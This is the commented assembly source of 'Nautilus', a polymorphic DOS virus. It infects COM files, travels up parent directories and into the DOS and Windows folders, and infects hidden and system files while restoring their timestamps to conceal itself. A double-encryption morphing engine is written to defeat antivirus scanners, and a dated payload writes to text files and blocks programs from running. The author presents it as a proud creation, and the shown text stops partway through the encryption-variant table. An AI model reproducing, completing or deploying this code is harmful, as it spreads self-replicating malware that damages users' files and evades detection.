; NAME: Nautilus.com 
; TYPE: Appending
; ENCRYPTION: Yes ( Double Morphing )
; INFECTS: COM
; ROI: 7 files per run                       ( Rate Of Infection )
; RESIDENT: No
; POLYMORPH: Yes ( Encryption Routines/Calls and Offset Finder Change )
; STEALTH: No
; DT: Yes                                    ( Directory Transversal )
; REPAIRABLE: Yes
; PAYLOAD: Yes
; SIZE: 1,824 bytes
; AUTHOR: Sea4

; This is my finest creation so far. This is a polymorph with 131,072
; different variations of code, and then if you factor in the different
; XOR/ROR/ROL encryption values, it actually is more than 4*10^11 ( that
; is 400,000,000,000 ). It changes everything about itself that is not
; encrypted, so that the AV scanners have a hard time. It is named
; after the monstrous submarine in the Jules Verne book '20,000 Leagues Under
; the Sea'. It will activate on November 6 of every year, because its a
; significant day in the book. The bomb consists of writing a txt string to
; the end of all TXT files in the current directory, also on that day... no
; *.com files will run from 11pm to midnight and instead will display a text
; string. Some other significant things:
; 1) Will record its infector through the 'InfectedBy' variable
; 2) Saves the DTA so that command parameters passed to an infected
;    file are not lost.
; 3) Will infect all read only / hidden / system files and restore attributes
; 4) Will restore DATE/TIME stamps to victem files, and text files
; 5) Will infect Dos and Windows directories + plus any previous directories
;    of the one it was run from. And the .\windows\command directory too.
; 6) Will NOT destroy any infected files, and will restore Registers and
;    stack pointer before returning control.
; 7) Will NOT infect any files smaller than the Dropper, and none bigger
;    than 65,535-3*DropperSize
; 8) Will NOT infect more than 7 files per run
; 9) And it will randomly generate encryption/decryption values

;
;    - Sea4 of the CodeBreakers
;

start:
jmp  Virus_start         ; Jumps to the start of the virus. This
                         ; will change as the virus is appended to
                         ; different size files.
Virus_start:
call Delta               ; Now we have to get the delta offset. By
                         ; calling Delta we push the address of 'pop bp'
                         ; onto the stack.
Delta:
pop  ax                  ; Put the address into BP so it can be used.
sub  ax,offset delta     ; Now this takes the distance that Delta is now
nop                      ; Occupy space so that this
nop                      ; takes up 10 bytes
xchg bp,ax               ; now (BP) and subtracts where it started
                         ; (Offset Delta). Understand?? Hopefully you do!
                         ; Because most files are different sizes, and this
                         ; virus just attaches itself to the end we have
                         ; to find out where it is before it can do anything.

Decrypt:                 ; This is one spot modified by the Morphing

mov  cx,cryptie-hidden   ; Give length of area to decrypt to CX
lea  si,[bp+hidden]      ; Start of area to decrypt
mov  di,si               ; its also the destination for decrypted part
mov  dl,[bp+DecVal1]     ; Stores Decryption Value in dl
mov  dh,[bp+Xor1val]     ; Xor Value to be used in this call
nop                      ; 1 byte to make space for morphing
call Cryptie             ; Decrypts the virus from here to the decryption
                         ; routine.

Hidden:                  ; Only encrypted once, because this is the decrypt
                         ; call for the second layer. This is modyfied by
                         ; the Morphing.

mov  cx,DCryptie-Dhidden ; Gets the size for the next area to decrypt
lea  si,[bp+Dhidden]     ; Puts the starting address of the secong layer of
                         ; encryption into DI
mov  di,si               ; Then SI
mov  dl,[bp+DecVal2]     ; Decryption code value
mov  dh,[bp+Xor2Val]     ; Xor Value to be used by this call
nop                      ; 1 byte to take up space for morphing
call DCryptie            ; Boom! Decrypts the second layer

DHidden:                 ; Area that is hidden with Double encryption
                           
; Here we will write the saved bytes from the beggining of the file, back
; to where they belong, so that we may run the file as normal, after we
; infect some more files of course :)

lea  di,100h             ; We are gonna write the saved bytes to the start
                         ; so we run the program as normal after we infect
                         ; some files.
mov  cx,03h              ; The number of bytes we have to write back to start
lea  si,[bp+saved]       ; Notice the [bp+saved]. It accesses a memory locale
                         ; that would be changed depending on infected file
                         ; size. We just add our Delta offset to find out
                         ; its exact location.
rep  movsb               ; Quickly restores the file so we can run it after
                         ; we get through here.

; Save the DTA
NewDTA    EQU Buffer+VirL
; It will be after the buffer needed for copying the virus

lea  di,[bp+NewDTA]      ; Puts the DTA after the buffer used by copying
                         ; the virus.
mov  si,80h              ; DTA area that we must save
mov  cx,2Ah              ; Length of DTA = 42d bytes ( 2Ah )
rep  movsb               ; Puts it in a safe place

; Save the current directory so that control is restored in the
; right place after the virus has run.
mov  ah,47h              ; Function 47h: Get Current Directory
xor  dx,dx               ; 00h in DL = Default Drive
lea  si,[bp+CurDIR]      ; 64 byte buffer for pathname
int  21h                 ; Calls DOS to write current DIR to CurDIR


; Put the name of this file into 'Infectedby' so that
; the victem file knows who infected it :) MyName will be
; set when each file is found.

lea  si,[bp+MyName]      ; Name of the running file
lea  di,[bp+Infectedby]  ; Place where the victems will see their infector
mov  cx,0Dh              ; 0Dh bytes, length of name
rep  movsb               ; Moves it by bytes

pusha
call InfectDir           ; Umm, maybe it infects the directory, I am not
                         ; sure though.
popa

Chg_Dot_Dot:   ; Go to '..' all the way to root dir infecting along the way
mov  ah,3Bh              ; Function 3Bh: Change Directory
lea  dx,[bp+dot_dot]          ; Dot_Dot mask
int  21h                 ; Calls DOS to go back 1 directory
jc   Go_DOS              ; Change Directory to DOS because it has a few
                         ; frequently used COM files
pusha
call InfectDir           ; Umm, maybe it infects the directory, I am not
                         ; sure though.
popa
jmp  Chg_Dot_Dot         ; Do again, till we hit root directory

Go_DOS:        ; Go to DOS
mov  ah,3Bh              ; Function 3Bh: Change Directory
lea  dx,[bp+dos_mask]         ; DOS
int  21h                 ; Calls DOS to go back 1 directory
jc   Windows   

pusha
call InfectDir           ; Umm, maybe it infects the directory, I am not
                         ; sure though.
pusha

Windows:                 ; Infect Windows DIR
; Got to move back to ROOT
mov  ah,3Bh              ; Function 3Bh: Change Directory
lea  dx,[bp+dot_dot]     ; Dot_Dot mask
int  21h                 ; Calls DOS to go back 1 directory

mov  ah,3Bh              ; Function 3Bh: Change Directory
lea  dx,[bp+win_mask]    ; win mask
int  21h                 ; Open windows DIR
jnc  InfectWin             
jmp  WinCom

InfectWin:
pusha
call InfectDir           ; Umm, maybe it infects the directory, I am not
                         ; sure though.
popa

WinCom:                  ; Infect .\windows\command
mov  ah,3Bh              ; Function 3Bh: Change Directory
lea  dx,[bp+win_com]     ; command directory mask
int  21h                 ; Open command directory
jnc  InfWinCom
jmp  BadStuff

InfWinCom:
pusha
call InfectDir           ; Umm, maybe it infects the directory, I am not
                         ; sure though.
popa
jmp  BadStuff

SavedDTAs EQU  NewDTA+2Ah

InfectDir:
mov  ax,4E00h            ; Function 4Eh: Find First
Findnext:                ; Findnext jmp point
lea  dx,[bp+filemask]    ; Gets the filemask = '*.com',0
mov  cx,07h              ; Find all file types
int  21h                 ; Tells DOS to find the *.com files

jnc  Open                ; Found one, now open it!

ret                      ; NONE left, lets jump back to changing directories

Open:          ; Open/Encrypt/Infect routines



; Now we have to retrieve the name of the file to be infected
; so that we may put it into the MyName variable. The reason
; it is done this way is to delete extra characters that may
; have been left from longer filenames. :)

mov  si,9Eh         ; ASCIZ filename
lea  di,[bp+MyName] ; Name of the file to be infected
mov  cx,0Dh         ; 0Dh (13d) bytes, name length
GetName:
lodsb               ; Gets the next char of name
cmp  al,00h         ; Checks to see if the name is done
je   DelRest        ; If the name is done we blank out the other chars
stosb               ; Store the character into MyName
loop GetName        ; Gets the whole name this way 

Delrest:
rep stosb           ; Pushes 00h into the remaining chars if the filename
                    ; is done before 13 chars

; Save attributes, then set them to 0, so we can
; modify this file. They are restored at 'Close'

lea  si,[95h]       ; Start of file attributes
mov  cx,09h         ; CX is enough to read: Attrib/Time/Date/Size
lea  di,[bp+s_attr] ; Place to save all the file attribs
rep  movsb          ; Moves em to their new home ( to be restore later )

; Set attrib to 0
lea  dx,[9Eh]       ; Filename in DTA
mov  ax,4301h       ; Function 4301h: Set File Attributes
xor  cx,cx          ; Clear file attribs
int  21h            ; Calls DOS to do 'our dirty work'

mov  ax,3D02h       ; Function 3Dh: Open File
                    ; 02 = Read/Write access
mov  dx,9Eh         ; Location of ASCIZ filename
int  21h            ; Calls DOS to open the file, with Read/Write access
                    ; so that we can write the virus to it :)

xchg bx,ax          ; Gives the file handle from AX to BX in one byte.

mov  ah,3Fh         ; Function 3Fh: Read from file
mov  cx,03h         ; We are gonna read the first 3 bytes. CX = # of bytes
                    ; to read from file.
lea  dx,[bp+saved]  ; The location for the bytes to be stored when read.
int  21h            ; Calls DOS to load the first 3 bytes of Victem file
                    ; into the 'Saved' location so that it may run correctly.

mov  al,0E9h        ; Checks to see if it was a jump instruction
cmp  al,[bp+saved]  ; by matching E9h to the first byte of the file.
jne  Uninfected     ; It can't be infected by this virus because the file
                    ; has NO jmp at its beggining.
mov  ax,[80h+1Ah]   ; Gets filesize
sub  ax,Virl+3           ; subtracts JMP size and Virus Size
cmp  ax,[bp+saved+1]     ; See if the file is infected by THIS virus
jne  Uninfected          

Close:
jmp  Infected

Uninfected:

; Check if file meets requirements for infection

mov  ax,[9Ch]       ; Get file offset size
cmp  ax,0           ; see if its = 0
jnz  Close          ; If the file is larger than 64k we can't infect it,
                    ; plus it might command.com or some other important file.

Filesize EQU Buffer-Start

mov  ax,[80h+1Ah]   ; Gets the filesize of the target file
cmp  ax,FileSize    ; If file is smaller than the 1st Gen. file, it is safe
jc   Close          ; so we jump to close

cmp  ax,0FFFFh-(3*FileSize) ; If file is larger than AX 
jnc  Close          ; Errors may occur

sub  ax,03h         ; Takes into account the length of the JMP instruction
mov  [bp+jumpto],ax ; Puts the location to jmp to as the
                    ; 2nd,3rd bytes of the buffer.

; Call Morph, changes the encryption routines and calls
push bx             ; Saves BX
call Morph          ; Calls the morphing routine
pop  bx             ; Retrieves BX

mov  ax,4200h       ; Function 42h: Move File Pointer
                    ; 00h = beggining, after the read the FP moves 3 bytes
xor  cx,cx          ; 0 = CX
xor  dx,dx          ; 0 = DX
int  21h            ; Calls DOS, this is explained a bit more with the
                    ; next "Move File Pointer" instruction

mov  ah,40h         ; Function 40h: Write to file
mov  cx,03          ; Number of bytes to write. CX = # of bytes
lea  dx,[bp+jumping]; Start at buffer area, this will write the jump
                    ; instruction to the beggining of the victem file.
int  21h            ; Blammo! This is the jmp that skips over the normal
                    ; file and heads write to the virus code. INT 21h tells
                    ; DOS to write those three bytes.

mov  ax,4202h       ; Function 42h: Move File pointer
                    ; 02 = End of file ( EOF )
xor  cx,cx          ; DX:CX is the offset from the File pointer location,
xor  dx,dx          ; since we want to be exactly at the EOF we clear DX:CX
int  21h            ; Calls DOS to move the file pointer

; Write the Virus to memory

VirL EQU  Ende-Virus_Start

; Length of Virus except jmp at beggining

lea  si,[bp+Virus_Start] ; Start of virus
lea  di,[bp+buffer]      ; Area that it will be stored in mem
mov  cx,VirL             ; Length of it
rep  movsb

; Now we have to modify it so that it is encrypted  

DHiddenL  EQU  DCryptie-DHidden    ; Length of area to encrypt that will
                                   ; end up double encrypted.
HiddenL   EQU  Cryptie-Hidden      ; Length of single encrypt area
DHBufStart EQU  DHidden-Virus_Start+Buffer   ; Start of DHidden in buffer
HBufStart EQU  Hidden-Virus_Start+Buffer     ; Start of Hidden in Buffer

; More ways to clear up the clutter

; Here we encrypt All but the second and first Decrypt calls, and the
; decryption routines that go with em.

lea  si,[bp+DHBufStart]  ; Time to encrypt the first area that will then
mov  di,si               ; be encrypted again, giving us our Doubly Encrypted
                         ; area.
mov  cx,DHiddenL         ; Length of this area
mov  dl,[bp+EncVal2]     ; ROL/ROR value
mov  dh,[bp+Xor2Val]     ; Xor value
call DCryptie            ; Calls the Second Encryption routine
                         ; because this will become decrypted by the first
                         ; when infected files are run.

; Now we encrypt from Hidden to Cryptie ( while encrypting DHidden to
; DCryptie for the second time ) which makes this double encrypting.

lea  si,[bp+HBufStart]   ; Start of Hidden area in buffer
mov  di,si               ; You should know this one by now.
mov  dl,[bp+EncVal1]     ; ROR/ROL value
mov  dh,[bp+Xor1Val]     ; Xor value
mov  cx,HiddenL          ; Length of the area
call Cryptie             ; Uhoh, now its encrypted and the AV software won't
                         ; find it. Now what are we gonna do?
                         ; ( Being sarcastic of course! )

; So we have the virus prepared for infecting :)

mov  ah,40h              ; Function 40h: Write to file ( everyone's fave )
lea  dx,[bp+buffer]      ; Start of virus in mem buffer
mov  cx,VirL             ; Length of it
int  21h                 ; Calls DOS to write this :)

inc  byte ptr [bp+victems] ; Increase victem #

Infected:           ; A place to jump in case the file is already infected

mov  ax,5701h       ; Function 5701h: Set File's Last - Written Date and Time
mov  dx,word ptr [bp+s_date]  ; DX = Date
mov  cx,word ptr [bp+s_time]  ; CX = Time
int  21h            ; More Dirty work for DOS

mov  ah,3Eh         ; Function 3Eh: Close File
int  21h            ; Calls DOS to close up the file.

mov  ax,4301h       ; Function 4301h: Set File Attributes
lea  dx,[9Eh]       ; Filename in DTA
xor  cx,cx          ; Clears CX
mov  cl,byte ptr [bp+s_attr] ; Puts the attributes into CL
int  21h            ; Isn't DOS just sooooo helpful. 

cmp  byte ptr [bp+Victems],07h ; Check to see if 7 files have been infected.

je   BadStuff       ; Place where the bomb will be dropped

mov  ax,4F00h       ; Function 4Fh: Find next
jmp  Findnext

Badstuff:           ; Here is where the payload goes
; This is a real simple payload
; It will go off on the day that the Abraham Lincoln was rammed by the
; Nautilus submarine in the book 20,000 Leagues Under The Sea.
; It will then print a text string to the end of all text files in the
; current directory, and display a message and no *.com files will run
; from 11pm to midnight because that is around the time of day it happened
; ( in the book at least ), its fiction in case you were wondering
Go_Root:            ; Takes us to root
mov  ah,3Bh         ; Function 3Bh: Change Directory
lea  dx,[bp+dot_dot] ; '..' back a directory
int  21h            ; Hey DOS, lets go to the ROOT Directory
jnc  Go_root        ; Loops til we hit the root

; Now We head back to the directory we started in by getting the
; CurDIR variable from its buffer
mov ah,3Bh          ; Function 3Bh: Change Directory
lea  dx,[bp+CurDIR] ; Saved starting directory
int  21h
jnc  DropBomb       ; It was successful
jmp  Exit           ; For whatever reason we were not able to get there
                    ; so we should exit

DropBomb:
mov  ah,04h         ; Function 04h: Get Real Time Clock ( Date )
int  1Ah            ; INT 1Ah BIOS Time interrupt
                    ; Gets the date and puts the value into the following
                    ; registers.
          ; CH = Century
          ; CL = Year
          ; DH = Month
          ; DL = Day

cmp  dx,1106h  ; The day that the Nautilus rammed Professor Arronax's ship
je   WriteText ; Only activate on this day
jmp  Exit      ; Otherwise get out of here

WriteText:
mov  ah,4Eh         ; Function 4Eh: Find First
FindNextText:
lea  dx,[bp+textmask]    ; Gets the text file mask
mov  cx,07h              ; all file attributes
int  21h                 ; Tells DOS to get us the file
jnc  OpenText
jmp  FindTime

OpenText:
lea  si,[95h]       ; Start of file attributes
mov  cx,09h         ; CX is enough to read: Attrib/Time/Date/Size
lea  di,[bp+s_attr] ; Place to save all the file attribs
rep  movsb          ; Moves em to their new home ( to be restore later )

; Set attrib to 0
lea  dx,[9Eh]       ; Filename in DTA
mov  ax,4301h       ; Function 4301h: Set File Attributes
xor  cx,cx          ; Clear file attribs
int  21h            ; Calls DOS to do 'our dirty work'

mov  ax,3D01h       ; Function 3Dh: Open File
                    ; 01h = for write access
mov  dx,9Eh         ; ASCIZ Filename in DTA
int  21h            ; Calls DOS to tear that baby open!

xchg bx,ax          ; Puts file handle in BX

mov  ax,4202h       ; Function 42h: Move File Pointer
                    ; 02 = End Of File (EOF)
xor  cx,cx          ; 0
xor  dx,dx          ; 0
int  21h            ; Once we get to the end of thew file we can write our
                    ; string to it, without damaging anything

mov  ah,40h         ; Function 40h: Write to file
lea  dx,[bp+line1]  ; Puts the string start address into DX
mov  cx,Textlen     ; Puts the text length into CX
int  21h            ; Writes that baby

mov  ax,5701h       ; Function 5701h: Set File's Last - Written Date and Time
mov  dx,word ptr [bp+s_date]  ; DX = Date
mov  cx,word ptr [bp+s_time]  ; CX = Time
int  21h            ; More Dirty work for DOS

mov  ah,3Eh         ; Function 3Eh: Close File
int  21h            ; Calls DOS to close up the file.

mov  ax,4301h       ; Function 4301h: Set File Attributes
lea  dx,[9Eh]       ; Filename in DTA
xor  cx,cx          ; Clears CX
mov  cl,byte ptr [bp+s_attr] ; Puts the attributes into CL
int  21h            ; Isn't DOS just sooooo helpful. 

mov  ax,4F00h       ; Find next
jmp  FindNextText   ; Gets the next one

FindTime:
mov  ah,02h         ; Function 02h: Get Real Time Clock ( Time )
int  1Ah            ; Retrieves the time and puts the values into the
                    ; following registers
     ; CH = Hour
     ; CL = Minutes
     ; DH = Seconds
     ; DL = Daylight Savings Flag ( 0h = standard time; 1h = daylight time )

cmp  cx,2300h       ; 11:00pm ( about the time it was rammed )
jb   exit           ; If before 11 we are safe, otherwise ...

mov  ah,09h         ; Function 09h: Print String Standard Output
lea  dx,[bp+Message1]    ; Location of string
int  21h            ; Calls DOS

int  20h            ; Close Program

message1  db   'Thus ends the voyage under the seas.','$'

exit:

; Lets set the DTA back to what it should be so that the program can
; can use any parameters passed to it.

lea  si,[bp+NewDTA]      ; Area that DTA was saved
mov  di,80h              ; Area where it was
mov  cx,2Ah              ; Length of DTA
rep  movsb               ; Put it back


; Now we are gonna get outta here, first we should cover up any stuff
; that might show up in a mem dump, so that if anyone looks, all they
; see is garbage.
HideEnde   EQU  2Ah+VirL+Buffer-Ende

lea  si,[bp+Ende]        ; We are gonna encrypt from Ende to end of DTA
mov  di,si               ; So it is hidden along with the Virus itself
mov  dl,[bp+EncVal2]     ; Rotate value
mov  dh,[bp+Xor2Val]     ; Xor value
mov  cx,HideEnde         ; Length of buffer area used + DTA area :)
call DCryptie            ; Calls 2nd encrypt routine

lea  di,[bp+EndRet]      ; Loads start of routine that returns control
mov  si,di               ; to host program, into DI/SI
mov  dl,[bp+EncVal1]     ; Gets encryption value for DL
mov  dh,[bp+Xor1Val]     ; Gets XOR value for DH
mov  cx,DoneRet-EndRet   ; length to encrypt
call Cryptie             ; Calls the encryptor. We encrypt this so it is the
                         ; only thing left after the next call. Understand?

lea  di,[bp+Virus_Start] ; Gets the location of the Virus_start and hides
                         ; everything but the encryption itself. ( and the
                         ; kitchen sink, of course )
mov  si,di               ; and put it into DI/SI so we can hide the virus
                         ; from the host program.
mov  dl,[bp+DecVal1]     ; Rotate value
mov  dh,[bp+Xor1Val]     ; Xor value
mov  cx,Cryptie-Virus_start ; Gives length of area to hide into CX
call cryptie             ; Calls the encryption loop to hide it


EndRet:                  ; Jumps to the start of the actual program.
                         ; But first, lets reset all registers so no
                         ; problems are caused by a program assuming 0
                         ; registers.
xor  sp,sp               ; resets the stack pointer
push sp                  ; and pushes 0 onto the stack
xor  di,di
xor  si,si
;xor cx,cx               ; CX is 0 by the call to Cryptie
xor  ax,ax
xor  bx,bx
xor  dx,dx
xor  bp,bp
push 100h                ; Puts 100h on stack
ret                      ; Jumps to location on stack ( 100h )
DoneRet:


jumping   db   0E9h           ; E9 = jmp
jumpto    db   0,0            ; Place for the new address

; Dec/Enc values are here for the Morphing aspect, so that
; whatever type of decryption/encryption is used the values will
; always be found here.


Morph:              ; This will move different ( preset ) Encryption
                    ; Routines and Calls into their respective spots.
                    ; It will also Change the Delta offset thing, because
                    ; that is a dead giveaway to the virus and is just dying
                    ; to become a scanstring.

; Get New Enc/Dec Values
in   al,40h              ; Get random number from port 40h
and  al,7h               ; Masks out all but first 3 bits
jnz  NotZero             ; If its not zero, we are good.
inc  al                  ; Makes any 0 = 1
NotZero:                 
mov  [bp+EncVal1],al     ; Saves it as the EncVal1
neg  ax                  ; gets the opposite of AL
and  al,7h               ; Makes EncVal1 + DecVal1 = 8
mov  [bp+DecVal1],al     ; Saves the DecVal1

in   al,40h              ; Get random number from port 40h
and  al,7h               ; Masks out all but first 3 bits
jnz  NotZero2            ; If its not zero, we are good.
inc  al                  ; Makes any 0 = 1
NotZero2:                 
mov  [bp+EncVal2],al     ; Saves it as the EncVal2
neg  ax                  ; gets the opposite of AL
and  al,7h               ; Makes EncVal2 + DecVal2 = 8
mov  [bp+DecVal2],al     ; Saves the DecVal2

; Get XorValues
Xoragain:
in   al,40h              ; Random number from port 40h
xchg bx,ax               ; saves it into BL
in   al,40h              ; Gets another
cmp  al,bl               ; Makes sure they are not the same
                         ; because they might decrypt each other
                         ; in Cryptie and DCryptie, depending on
                         ; how they turn out.
jz   XorAgain            ; If they are equal, try again
mov  [bp+Xor1Val],al     ; Save it as Xor1Val
mov  [bp+Xor2Val],bl     ; Save it as Xor2Val

; Now, the above got us some values to use, all we have to do, is
; modify how they are used. For the decrypt calls, and routines, we just
; randomly choose from a list of possibles.

xor  dx,dx
GetDelta:           ; Get a possible Delta Offset Thingy
mov  dl,0Ah  
lea  di,[bp+Virus_Start]
lea  si,[bp+PosDelta]
in   al,40h              ; Gets Random Number
and  al,7h               ; Makes it 7 or less
imul dl                  ; Multiplies AL by 0Ah and stores in AX
add  si,ax               ; Adds AX to SI so we can get one of the possible
                         ; morphs for getting the delta offset.
mov  cx,dx               ; Length of Delta Offset Morphs
rep  movsb               ; MORPHING TIME!!

GetCC:              ; Get a possible Call Cryptie
mov  dl,12h              ; Size of Call Cryptie Morphs
lea  di,[bp+Decrypt]
lea  si,[bp+PosCC]
in   al,40h              ; Gets Random Number
and  al,7h               ; Makes it 7 or less
imul dl                  ; Multiplies AL by 12h and stores in AX
add  si,ax               ; Adds AX to SI so we can get one of the possible
                         ; morphs for calling Cryptie.
mov  cx,dx               ; Length of Call Cryptie Morphs
rep  movsb               ; MORPHING TIME!!

GetCDC:             ; Get one of the possible Call DCryptie's
mov  dl,12h              ; Size of Call DCryptie Morphs
lea  di,[bp+Hidden]
lea  si,[bp+PosCDC]
in   al,40h              ; Gets Random Number
and  al,7h               ; Makes it 7 or less
imul dl                  ; Multiplies AL by 12h and stores in AX
add  si,ax               ; Adds AX to SI so we can get one of the possible
                         ; morphs for calling DCryptie.
mov  cx,dx               ; Length of Call DCryptie Morphs
rep  movsb               ; MORPHING TIME!!

GetCR:                   ; Get 2 new encryption routines
mov  dx,0Eh              ; Size of each possible encryption routine
lea  di,[bp+MorphD1]     ; Start of first encryption routine to change
lea  si,[bp+PosCR]       ; Start of possible variants
in   al,40h              ; Gets a random number
and  al,0Fh              ; Makes it 0Fh or less
imul dl                  ; Multiplies 0Eh by the Random # and stores in AX
add  si,ax               ; Gets the offset of encryption variant and puts
                         ; it into the SI
mov  cx,dx               ; Gives count of encryption length to CX
rep  movsb               ; Quickly does the first of two

mov  dx,0Eh              ; Size of each possible encryption routine
lea  di,[bp+MorphD2]     ; Start of second encryption routine to change
lea  si,[bp+PosCR]       ; Start of possible variants
in   al,40h              ; Gets a random number
and  al,0Fh              ; Makes it 0Fh or less
imul dl                  ; Multiplies 0Eh by the Random # and stores in AX
add  si,ax               ; Gets the offset of encryption variant and puts
                         ; it into the SI
mov  cx,dx               ; Gives count of encryption length to CX
rep  movsb               ; Quickly does the second one

ret                 ; Goes back to the spot that called here

; Below is a Database of possible morphs
; The same results are reached by using any of these morphs
; they are just there to fool AV software companies.

PosDelta:           ; Possible Delta Routines, size 10 bytes
db   0E8,00,00                ; 3       ; Call Delta
sti                           ; 1 
pop  bp                       ; 1
xchg bx,ax                    ; 1
sub  bp,offset delta          ; 4
                              ; = 10
PosDelta2:
sti                           ; 1
clc                           ; 1
db   0E8h,0,0                 ; 3
pop  ax                       ; 1
sub  ax,offset delta +2       ; 3
xchg bp,ax                    ; 1
                              ; = 10
PosDelta3:
cli                           ; 1
db   0E8h,0,0                 ; 3
pop  ax                       ; 1
sti                           ; 1
sub  ax,offset delta+1        ; 3
xchg bp,ax                    ; 1
                              ; = 10
PosDelta4:
cld                           ; 1
db   0E8h,0,0                 ; 3
pop  bp                       ; 1
clc                           ; 1
sub  bp,offset delta+1        ; 4
                              ; = 10
PosDelta5:
db   0E8h,0,0                 ; 3
pop  bx                       ; 1
sti                           ; 1
xchg bx,ax                    ; 1
sub  ax,offset delta          ; 3
xchg bp,ax                    ; 1
                              ; = 10
PosDelta6:
sti                           ; 1
nop                           ; 1
db   0E8h,0,0                 ; 3
pop  bp                       ; 1
sub  bp,offset delta+2        ; 4
                              ; = 10
PosDelta7:
db   0E8h,0,0                 ; 3
pop  ax                       ; 1
xchg bx,ax                    ; 1
xchg bx,ax                    ; 1
sub  ax,offset delta          ; 3
xchg bp,ax                    ; 1
                              ; = 10
PosDelta8:
db   0E8h,0,0                 ; 3
nop                           ; 1
pop  ax                       ; 1 
nop                           ; 1
sub  ax,offset delta          ; 3
xchg bp,ax                    ; 1
                              ; = 10

PosCC:              ; Possible Call Cryptie, size 12h ( 18d ) bytes
mov  cx,cryptie-hidden        ; 3
lea  si,[bp+hidden]           ; 4
nop                           ; 1
mov  di,si                    ; 2
mov  dl,[bp+DecVal1]          ; 4
mov  dh,[bp+Xor1val]          ; 4
                              ; = 18

PosCC2:
lea  di,[bp+hidden]           ; 4
nop                           ; 1
mov  dl,[bp+DecVal1]          ; 4
mov  cx,cryptie-hidden        ; 3
mov  dh,[bp+Xor1val]          ; 4
mov  si,di                    ; 2
                              ; = 18
PosCC3:
sti                           ; 1
lea  si,[bp+hidden]           ; 4
mov  dh,[bp+Xor1val]          ; 4
mov  di,si                    ; 2
mov  dl,[bp+DecVal1]          ; 4
mov  cx,cryptie-hidden        ; 3
                              ; = 18
PosCC4:
lea  di,[bp+hidden]           ; 4
mov  cx,cryptie-hidden        ; 3
clc                           ; 1
mov  si,di                    ; 2
mov  dh,[bp+Xor1val]          ; 4
mov  dl,[bp+DecVal1]          ; 4
                              ; = 18
PosCC5:
mov  dl,[bp+DecVal1]          ; 4
mov  dh,[bp+Xor1val]          ; 4
mov  cx,cryptie-hidden        ; 3
lea  si,[bp+hidden]           ; 4
mov  di,si                    ; 2
nop                           ; 1
                              ; = 18
PosCC6:
mov  dh,[bp+Xor1val]          ; 4
lea  si,[bp+hidden]           ; 4
cld                           ; 1
mov  cx,cryptie-hidden        ; 3
mov  di,si                    ; 2
mov  dl,[bp+DecVal1]          ; 4
                              ; = 18
PosCC7:
mov  cx,cryptie-hidden        ; 3
nop                           ; 1
mov  dl,[bp+DecVal1]          ; 4
mov  dh,[bp+Xor1val]          ; 4
lea  di,[bp+hidden]           ; 4
mov  si,di                    ; 2
                              ; = 18
PosCC8:
mov  dl,[bp+DecVal1]          ; 4
lea  si,[bp+hidden]           ; 4
mov  cx,cryptie-hidden        ; 3
stc                           ; 1
mov  di,si                    ; 2
mov  dh,[bp+Xor1val]          ; 4
                              ; = 18

PosCDC:             ; Possible Call DCryptie, size 12h ( 18d ) bytes
mov  cx,DCryptie-Dhidden      ; 3
lea  si,[bp+Dhidden]          ; 4
mov  di,si                    ; 2
nop                           ; 1
mov  dl,[bp+DecVal2]          ; 4
mov  dh,[bp+Xor2Val]          ; 4
                              ; = 18

PosCDC2:
lea  si,[bp+Dhidden]          ; 4
mov  dh,[bp+Xor2Val]          ; 4
mov  di,si                    ; 2
clc                           ; 1
mov  cx,DCryptie-Dhidden      ; 3
mov  dl,[bp+DecVal2]          ; 4
                              ; = 18

PosCDC3:
mov  dh,[bp+Xor2Val]          ; 4
mov  dl,[bp+DecVal2]          ; 4
lea  si,[bp+Dhidden]          ; 4
nop                           ; 1
mov  di,si                    ; 2
mov  cx,DCryptie-Dhidden      ; 3
                              ; = 18

PosCDC4:
lea  di,[bp+Dhidden]          ; 4
sti                           ; 1
mov  dl,[bp+DecVal2]          ; 4
mov  si,di                    ; 2
mov  cx,DCryptie-Dhidden      ; 3
mov  dh,[bp+Xor2Val]          ; 4
                              ; = 18

PosCDC5:
cld                           ; 1
lea  si,[bp+Dhidden]          ; 4
mov  cx,DCryptie-Dhidden      ; 3
mov  di,si                    ; 2
mov  dh,[bp+Xor2Val]          ; 4
mov  dl,[bp+DecVal2]          ; 4
                              ; = 18

PosCDC6:
lea  si,[bp+Dhidden]          ; 4
mov  cx,DCryptie-Dhidden      ; 3
mov  dl,[bp+DecVal2]          ; 4
nop                           ; 1
mov  dh,[bp+Xor2Val]          ; 4
mov  di,si                    ; 2
                              ; = 18

PosCDC7:
lea  di,[bp+Dhidden]          ; 4
mov  cx,DCryptie-Dhidden      ; 3
mov  si,di                    ; 2
mov  dh,[bp+Xor2Val]          ; 4
cld                           ; 1
mov  dl,[bp+DecVal2]          ; 4
                              ; = 18

PosCDC8:
mov  dh,[bp+Xor2Val]          ; 4
mov  dl,[bp+DecVal2]          ; 4
nop                           ; 1
lea  di,[bp+Dhidden]          ; 4
mov  si,di                    ; 2
mov  cx,DCryptie-Dhidden      ; 3
                              ; = 18

PosCR:              ; Possible Cryptie Routines, each 14 bytes
neg  al                       ; 2
xor  al,13h                   ; 2
not  al                       ; 2
rol  al,cl                    ; 2
not  al                       ; 2
xor  al,13h                   ; 2
neg  al                       ; 2
                              ; = 14

Pos2CR:             ; Possible DCryptie Routines, each 14 bytes
xor  al,72h                   ; 2
neg  al                       ; 2
rol  al,cl                    ; 2
not  al                       ; 2
rol  al,cl                    ; 2
neg  al                       ; 2
xor  al,72h                   ; 2
                              ; = 14

PosCR2:
neg  al                       ; 2
sti                           ; 1
rol  al,cl                    ; 2
nop                           ; 1
clc                           ; 1
neg  al                       ; 2
rol  al,cl                    ; 2
cld                           ; 1
neg  al                       ; 2
                              ; = 14

Pos2CR2:
rol  al,cl                    ; 2
sti                           ; 1
xor  al,0C4h                  ; 2
ror  al,cl                    ; 2
stc                           ; 1
nop                           ; 1
xor  al,0C4h                  ; 2
clc                           ; 1
rol  al,cl                    ; 2
                              ; = 14

PosCR3:
not  al                       ; 2
xor  al,0AAh                  ; 2
stc                           ; 1
nop                           ; 1
clc                           ; 1
neg  al                       ; 2
xor  al,0AAh                  ; 2
sti                           ; 1
not  al                       ; 2
                              ; = 14

Pos2CR3:
ror  al,cl                    ; 2
cmp  al,cl                    ; 2
stc                           ; 1
xor  al,ch                    ; 2
ror  al,cl                    ; 2
xor  al,ch                    ; 2
cld                           ; 1
ror  al,cl                    ; 2
                              ; = 14

PosCR4:
rol  al,cl                    ; 2
neg  al                       ; 2
nop                           ; 1
xor  al,55h                   ; 2
sti                           ; 1
neg  al                       ; 2
std                           ; 1
